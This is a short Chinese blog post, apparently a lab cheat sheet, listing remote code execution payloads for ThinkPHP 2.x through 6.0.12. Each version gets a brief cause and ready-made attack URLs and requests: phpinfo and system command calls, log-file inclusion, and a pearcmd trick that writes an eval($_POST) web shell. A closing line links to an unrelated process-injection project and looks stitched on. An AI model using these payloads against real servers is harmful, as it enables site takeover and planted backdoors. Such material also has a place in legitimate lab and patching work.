环境: Docker, VulHub, VulFocus
一、ThinkPHP 2.x/3.0 RCE
原理: 利用preg_replace
的/e
模式匹配路由,导致用户输入参数被插入双引号中执行,造成任意代码执行漏洞。
Payload示例:
<code>/index.php?s=/index/index/xxx/${@phpinfo()} /index.php?s=a/b/c/${@print(eval($_POST[1]))}</code>
二、ThinkPHP 3.2.x RCE(日志RCE)
原理: 模板赋值方法assign
的第一个参数可控,可导致模板文件路径变量被覆盖为携带攻击代码的文件路径,造成任意文件包含,执行任意代码。
Payload示例:
<code>Index.?m=Home&c=Index&a=index&test=--><?=phpinfo();?> index.php?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Home/23_12_17.log</code>
三、ThinkPHP 5.0.22/29 RCE(系统命令执行)
Payload示例:
<code>http://192.168.135.129:8080//index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /var</code>
四、ThinkPHP 5.0.23 RCE
Payload示例:
<code>POST /index.php?s=captcha&test=-1 HTTP/1.1 …… …… _method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1</code>
五、ThinkPHP 6.0.12 lang-RCE
原理: 存在一处本地文件包含漏洞,攻击者可以使用lang参数来包含任意PHP文件。
Payload示例:
<code>Index.php?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=@eval($_POST['pass'])?>+shell.php</code>
项目地址:https://github.com/Maldev-Academy/RemoteTLSCallbackInjection
© 版权声明
THE END
暂无评论内容